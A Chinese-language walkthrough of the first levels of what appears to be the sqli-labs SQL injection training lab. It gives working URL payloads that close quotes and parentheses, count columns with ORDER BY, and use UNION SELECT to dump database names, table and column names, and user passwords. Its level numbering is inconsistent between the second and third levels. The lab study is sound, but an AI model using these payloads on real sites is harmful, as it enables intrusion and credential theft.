逼话少说，如有错误，烦请指出，谢谢。
第一关
提示传个id的参数
后面跟个单引号
http://10.2.10.31/sqli/Less-1/?id=1’
发现报错，这里看到是已经闭合了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
从报错内容中可以看出id传入的是str类型，可以分解成这样来看
传递了一个1‘的参数，并且1’的参数用单引号包裹，最后再最外层一层单引号
' ' 1' ' LIMIT 0,1 '
然后再进行order by 来排序确定字段数
http://10.2.10.31/sqli/Less-1/?id=1' order by 3 --+ 返回正常
http://10.2.10.31/sqli/Less-1/?id=1' order by 4 --+ 返回错误
可以确定字段数为3
联合注入查询
后采用联合注入查看当前数据库名和数据库版本号
查询时发现只返回前面一条的查询数据，那就把id=-1，让前面的查询为空，就会返回后面的查询结果
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,database(),version() --+
跨库查询表内的表名
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
group_concat这个函数可以将多个字符串连接成一个字符串，就可以实现把表名一条输出出来
查询user字段的内容：
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
查询username 和password的值
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,username,password from users --+
第一关就到这里结束。
第二关
http://10.2.10.31/sqli/Less-2/?id=1%27
报错信息
发现有括号闭合，那就变成
http://10.2.10.31/sqli/Less-3/?id=1’）
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
这时候就已经闭合了，就按着之前的操作，就解决了
第三关结束
第四关
测试注入点
http://10.2.10.31/sqli/Less-4/?id=1'
发现没有报错
改成用双引号
http://10.2.10.31/sqli/Less-4/?id=1"
报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
那就用http://10.2.10.31/sqli/Less-4/?id=1")闭合
按照之前的操作，就可以完成
第四关结束